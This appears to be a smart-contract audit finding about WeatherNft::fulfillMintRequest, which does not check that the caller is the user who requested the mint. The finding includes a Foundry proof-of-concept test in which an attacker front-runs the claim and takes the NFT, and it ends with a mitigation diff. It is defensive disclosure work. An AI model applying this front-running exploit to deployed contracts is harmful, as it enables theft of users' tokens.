Root + Impact
Front-running vulnerability in function WeatherNft::fulfillMintRequest()
, leading to a token steal
Description
The WeatherNft::fulfillMintRequest
function does not validate that the msg.sender
address matches the rightful owner, requested the NFT to be minted. This allows an attacker to front-run a legitimate user and steal the token.
function fulfillMintRequest(bytes32 requestId) external {
bytes memory response = s_funcReqIdToMintFunctionReqResponse[requestId].response;
bytes memory err = s_funcReqIdToMintFunctionReqResponse[requestId].err;
require(response.length > 0 || err.length > 0, WeatherNft__Unauthorized());
if (response.length == 0 || err.length > 0) {
return;
}
UserMintRequest memory _userMintRequest = s_funcReqIdToUserMintReq[
requestId
];
@>
uint8 weather = abi.decode(response, (uint8));
uint256 tokenId = s_tokenCounter;
s_tokenCounter++;
emit WeatherNFTMinted(
requestId,
msg.sender,
Weather(weather)
);
_mint(msg.sender, tokenId);
s_tokenIdToWeather[tokenId] = Weather(weather);
Risk
Likelihood: High
Impact:
Proof of Concept
function test_stealingToken() public {
string memory pincode = "125001";
string memory isoCode = "IN";
bool registerKeeper = true;
uint256 heartbeat = 12 hours;
uint256 initLinkDeposit = 5e18;
uint256 tokenId = weatherNft.s_tokenCounter();
vm.startPrank(user);
linkToken.approve(address(weatherNft), initLinkDeposit);
vm.recordLogs();
weatherNft.requestMintWeatherNFT{value: weatherNft.s_currentMintPrice()}(
pincode,
isoCode,
registerKeeper,
heartbeat,
initLinkDeposit
);
vm.stopPrank();
Vm.Log[] memory logs = vm.getRecordedLogs();
bytes32 reqId;
for (uint256 i; i < logs.length; i++) {
if (logs[i].topics[0] == keccak256("WeatherNFTMintRequestSent(address,string,string,bytes32)")) {
(, , , reqId) = abi.decode(logs[i].data, (address, string, string, bytes32));
break;
}
}
assert(reqId != bytes32(0));
vm.prank(functionsRouter);
bytes memory weatherResponse = abi.encode(WeatherNftStore.Weather.RAINY);
weatherNft.handleOracleFulfillment(reqId, weatherResponse, "");
vm.prank(attacker);
weatherNft.fulfillMintRequest(reqId);
address tokenOwner = weatherNft.ownerOf(tokenId);
assertEq(tokenOwner, attacker);
}
Tools Used
Manual review
Foundry
Recommended Mitigation
Add the following validation in function WeatherNft::fulfillMintRequest()
function fulfillMintRequest(bytes32 requestId) external {
bytes memory response = s_funcReqIdToMintFunctionReqResponse[requestId].response;
bytes memory err = s_funcReqIdToMintFunctionReqResponse[requestId].err;
require(response.length > 0 || err.length > 0, WeatherNft__Unauthorized());
if (response.length == 0 || err.length > 0) {
return;
}
UserMintRequest memory _userMintRequest = s_funcReqIdToUserMintReq[
requestId
];
+
+ require(_userMintRequest.user == msg.sender, WeatherNft__Unauthorized());
+
uint8 weather = abi.decode(response, (uint8));
uint256 tokenId = s_tokenCounter;
s_tokenCounter++;
emit WeatherNFTMinted(
requestId,
msg.sender,
Weather(weather)
);
_mint(msg.sender, tokenId);
s_tokenIdToWeather[tokenId] = Weather(weather);
This ensures that the user claiming the NFT is the original address, requested the NFT minting, preventing token stealing.